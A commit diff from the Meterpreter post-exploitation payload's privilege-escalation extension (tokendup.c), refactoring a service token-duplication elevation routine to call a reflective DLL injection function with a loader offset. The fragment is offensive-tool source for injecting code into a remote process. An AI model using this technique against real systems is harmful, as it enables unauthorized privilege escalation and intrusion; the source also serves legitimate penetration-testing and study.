Skip to content

Commit b3b8e77

Browse files
committed
feat: integrate reflective loader offset into elevate_via_service_tokendup function
1 parent b1d672b commit b3b8e77

1 file changed

Lines changed: 2 additions & 3 deletions

File tree

c/meterpreter/source/extensions/priv/tokendup.c

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,6 @@
11
#include "precomp.h"
22
#include "common_metapi.h"
33
#include "tokendup.h"
4-
#include "../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h"
5-
#include "../../ReflectiveDLLInjection/inject/src/LoadLibraryR.c"
64

75
/*
86
* Enable or disable a privilege in our processes current token.
@@ -79,6 +77,7 @@ DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet )
7977
do
8078
{
8179
LPCSTR reflectiveLoader = met_api->packet.get_tlv_value_reflective_loader(packet);
80+
DWORD dwActualReflectiveLoaderOffset = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_LIB_LOADER_OFFSET);
8281

8382
// only works on x86 systems for now...
8483
if( elevate_getnativearch() != PROCESS_ARCH_X86 )
@@ -156,7 +155,7 @@ DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet )
156155
break;
157156

158157
// use RDI to inject the elevator.dll into the remote process, passing in the command line to elevator.dll
159-
hThread = LoadRemoteLibraryR( hProcess, lpServiceBuffer, dwServiceLength, reflectiveLoader, lpRemoteCommandLine );
158+
hThread = met_api->inject.reflective_loader.LoadRemoteLibraryR( hProcess, lpServiceBuffer, dwServiceLength, reflectiveLoader, dwActualReflectiveLoaderOffset, lpRemoteCommandLine );
160159
if( !hThread )
161160
break;
162161

0 commit comments

Comments
 (0)